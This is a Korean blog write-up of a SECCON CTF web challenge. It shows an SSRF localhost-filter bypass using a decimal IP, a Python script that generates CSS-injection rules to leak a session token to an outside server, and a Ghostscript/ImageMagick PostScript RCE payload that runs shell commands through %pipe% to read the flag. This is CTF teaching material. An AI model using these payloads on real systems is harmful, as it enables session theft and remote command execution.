문제에 들어가보면 로그인 및 회원가입 기능이 존재하는데 회원가입 후 로그인을 해보면 아래와 같이 3가지 기능이 존재하며, 이 중 2가지만 사용이 가능하다.
첫번 째 기능을 보면 어드민한테 메시지를 보내는 기능과 메시지를 보내기전 미리보기 기능이 있는데 XSS는 안터진다.
이 때 미리보기 기능을 사용할 때 잘 보면 파라미터로 아래와 같이 base64인코딩된 값이 넘어가는데 이 값을 디코딩해보면 아래와 같이 css 값이 나오는 걸 통해 css injection이 터지는걸 알 수 있다.
base64 decode = span{background-color:red;color:yellow}
일단 여기까지는 이걸로 뭔갈 해볼 수 있겠다 싶은게 없었고 다음 기능을 살펴보니 내가 요청한 값을 서버측에서 요청한 뒤 스크린샷을 찍어서 이미지형태로 반환해주는 기능이었다.
여기서 SSRF가 터지겠다 싶었는데 http, https 제외하고 모든 wrapper 사용이 안되었다. http를 통해 뭘해볼까 하다가 처음 기능 중에 로컬에서만 접근 가능한 기능이 존재했던게 생각나 http://127.0.0.1/ 요런식으로 접근해보니 추가적으로 127, ::1, local 도 필터하고 있었다.
근데 이거는 Ip to number Trick으로 우회가 가능해서 아래와 같은 식으로 요청했더니 정상적으로 로컬에서 접근해 비활성화되어있던 기능이 활성화된 것을 볼 수 있었다.
bypass = http://2130706433/?user=youngsin1&pass=123456&action=login
근데 해당 사진만 가지고는 뭘 할 수 있는게 없었다.
여기서 Upload image 기능을 사용하기 위해 Css Injection을 사용해주면되는데 Css Injection을 통해 읽어올 수 있는 페이지를 잘 보면 아래와 같이 <input type="hidden" name="csrf" value="2d7e4a5f52f1ec86e7931e"> 요 부분의 값이 현재 로그인한 계정의 세션값과 같다는걸 볼 수 있었다.
이제 위의 두 가지 기능을 통해 로컬에서 접근했을 때의 세션 값을 아래 스크립트를 통해 가져왔다.
css_injection_payload_create.py
import base64
import urllib2
strings = "0123456789abcdef"
URL = "http://2130706433/?msg=aaa&action=msgadm2&css="
find_cookie = "62def7a57920dbee757e0d"
css_data = ""
for i in strings:
css_data += """input[name="csrf"][value^="{}"] {{
background: url(http://myserverip/abc.php?x={});
}}
""".format (find_cookie + i, find_cookie + i)
print urllib2.quote((URL + base64.b64encode(css_data.encode('utf-8')).decode('utf-8')))
get local session = 62def7a57920dbee757e0d
이제 이 값을 세션 값에 세팅해주면 Upload Image기능을 사용할 수 있는데 이 때 해당 기능을 이용해보면 업로드한 파일을 gif로 convert해주는 기능이 존재한다.
convert한다는걸 통해 일단 imagemagick를 사용할 거라 생각했고 관련 페이로드를 찾다보니 최근에 Vulnerabilities in ghostscript and imagemagick 요런식으로 취약점이 나온게 있었다. 문제명에 Ghost가 들어간걸보니 이거다 싶었고 페이로드를 요기서 구해서 사용했다.
https://www.exploit-db.com/exploits/45243/
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls) currentdevice putdeviceprops
요런식으로 파일에 저장한뒤 업로드한 다음 convert하니 아래와 같이 에러가 터지는걸 통해 rce가 터지는걸 알 수 있었다.
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG/) currentdevice putdeviceprops
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops
Flag = SECCON{CSSinjection+GhostScript/ImageMagickRCE}
'CTF > Writeup' 카테고리의 다른 글
RITSEC CTF 2018 Crazy Train (0) | 2018.11.19 |
---|---|
SCTF 2018 dingJMax (0) | 2018.10.30 |
BSides Delhi CTF 2018 st4t1c (0) | 2018.10.29 |
BSides Delhi CTF 2018 avap (0) | 2018.10.29 |
BSides Delhi CTF 2018 auth3ntication (0) | 2018.10.29 |